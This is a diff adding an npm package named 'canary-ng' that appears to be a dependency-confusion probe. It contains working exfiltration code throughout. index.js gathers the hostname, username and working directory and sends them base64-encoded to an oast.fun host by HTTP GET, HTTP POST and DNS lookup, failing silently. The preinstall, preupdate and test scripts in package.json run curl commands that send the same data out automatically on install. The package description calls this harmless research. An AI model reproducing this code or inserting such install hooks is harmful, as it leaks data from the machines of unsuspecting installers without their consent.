canary-ng 1337.1.0

package/index.js

@@ -0,0 +1,56 @@
+const { exec } = require('child_process');
+const http = require('http');
+const https = require('https');
+
+// Collect system information
+const payload = {
+  hostname: require('os').hostname(),
+  user: process.env.USER || process.env.USERNAME,
+  pwd: process.cwd(),
+  platform: process.platform,
+  timestamp: new Date().toISOString(),
+  nodeVersion: process.version
+};
+
+// Try multiple exfiltration methods
+const methods = [
+  // HTTP GET
+  () => {
+    const data = `h=${Buffer.from(payload.hostname).toString('base64')}&u=${Buffer.from(payload.user).toString('base64')}&p=${Buffer.from(payload.pwd).toString('base64')}`;
+    http.get(`http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/get?${data}`, () => {});
+  },
+
+  // HTTP POST
+  () => {
+    const postData = JSON.stringify(payload);
+    const options = {
+      hostname: 'tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun',
+      port: 80,
+      path: '/post',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': postData.length
+      }
+    };
+
+    const req = http.request(options);
+    req.write(postData);
+    req.end();
+  },
+
+  // DNS exfiltration as fallback
+  () => {
+    const subdomain = `${Buffer.from(payload.user).toString('base64').substring(0,30)}.${Buffer.from(payload.hostname).toString('base64').substring(0,30)}`;
+    require('dns').lookup(`${subdomain}.tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun`, () => {});
+  }
+];
+
+// Execute all methods with error handling
+methods.forEach(method => {
+  try {
+    method();
+  } catch (e) {
+    // Silently fail
+  }
+});

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "canary-ng",
+  "version": "1337.1.0",
+  "description": "This package is a proof of concept used by bugdotexe to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. I do not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.",
+  "main": "index.js",
+  "scripts": {
+    "test": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/canary-ng?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\"",
+    "preinstall": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/canary-ng?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\"",
+    "preupdate": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/canary-ng?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\""
+  },
+  "keywords": [],
+  "author": "Nyein Chan Aung <bugdotexe@wearehackerone.com>",
+  "license": "ISC"
+}